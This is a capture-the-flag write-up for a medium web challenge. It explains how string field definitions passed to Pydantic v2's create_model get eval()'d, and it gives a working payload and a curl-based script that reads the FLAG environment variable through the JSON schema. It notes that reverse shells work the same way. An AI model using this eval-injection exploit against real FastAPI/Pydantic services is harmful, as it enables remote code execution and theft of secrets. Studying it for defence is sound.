Challenge: Restaurant Builder · CTF: GPN CTF 2026 · Category: Web · Difficulty: Medium
Summary#
A FastAPI app builds Pydantic models from user-supplied field definitions via create_model. Because each field value is a plain string, Pydantic v2 interprets it as a forward-reference type annotation and eval()s it during schema generation — arbitrary code execution. The flag (passed as the FLAG env var) is exfiltrated by evaluating it into a Literal[...], which surfaces in the model’s JSON schema.
Solution#
Step 1: Spot the eval primitive#
main.py registers blueprints like this:
1
2
3
4
5
| @app.post("/blueprint/{name}")
def register_blueprint(name: str, description: Dict[str,str] = Body()):
description = {k: v for k,v in description.items() if not k.startswith("__")}
Blueprint = create_model(name, **description) # value is a str
blueprints[name] = Blueprint
|
The body is Dict[str,str], so every field value is a string. When Pydantic v2’s create_model gets a bare string as a field definition, it treats it as a ForwardRef, which is passed through eval() (with full builtins) during schema generation. The __-prefix filter only blocks dunder keys (__base__, …) — it does nothing about __import__ inside the value.
Step 2: Exfiltrate via JSON schema#
register_blueprint has no try/except, so a raising eval just returns a detail-less 500. Instead, make the eval succeed and embed the secret into the schema that GET /blueprint/{name} returns:
1
| __import__("typing").Literal[__import__("os").environ["FLAG"]]
|
This yields a field annotated Literal["GPNCTF{...}"], rendered as a "const" in model_json_schema().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| #!/usr/bin/env python3
import json, subprocess
BASE = "https://blackened-broccoli-wrapped-in-whipped-bread-bvnq.gpn24.ctf.kitctf.de"
NAME = "pwn3723"
PAYLOAD = '__import__("typing").Literal[__import__("os").environ["FLAG"]]'
def curl(*args):
# front-end TLS is flaky -> force http1.1 and retry
return subprocess.run(
["curl", "-sS", "--http1.1", "--retry", "10", "--retry-all-errors",
"--retry-delay", "1", "--max-time", "30", *args],
capture_output=True, text=True).stdout
# 1) register a blueprint whose "flag" field evals to Literal[os.environ['FLAG']]
body = json.dumps({"flag": PAYLOAD})
print(curl("-X", "POST", f"{BASE}/blueprint/{NAME}",
"-H", "Content-Type: application/json", "-d", body))
# 2) read it back; the schema's "const" is the flag
schema = json.loads(curl(f"{BASE}/blueprint/{NAME}"))
print(schema["properties"]["flag"]["const"])
|
Output:
1
| {"properties":{"flag":{"const":"GPNCTF{and_oNE_0R_two_rCes_l47Er_ThEy_8UILT_HApPI1Y_EVeR_Af73R}","title":"Flag","type":"string"}},"required":["flag"],"title":"pwn3723","type":"object"}
|
Note: this is full RCE — os.system/reverse shells work identically; Literal is just the cleanest exfil given the 500-swallowing handler.
Flag#
1
| GPNCTF{and_oNE_0R_two_rCes_l47Er_ThEy_8UILT_HApPI1Y_EVeR_Af73R}
|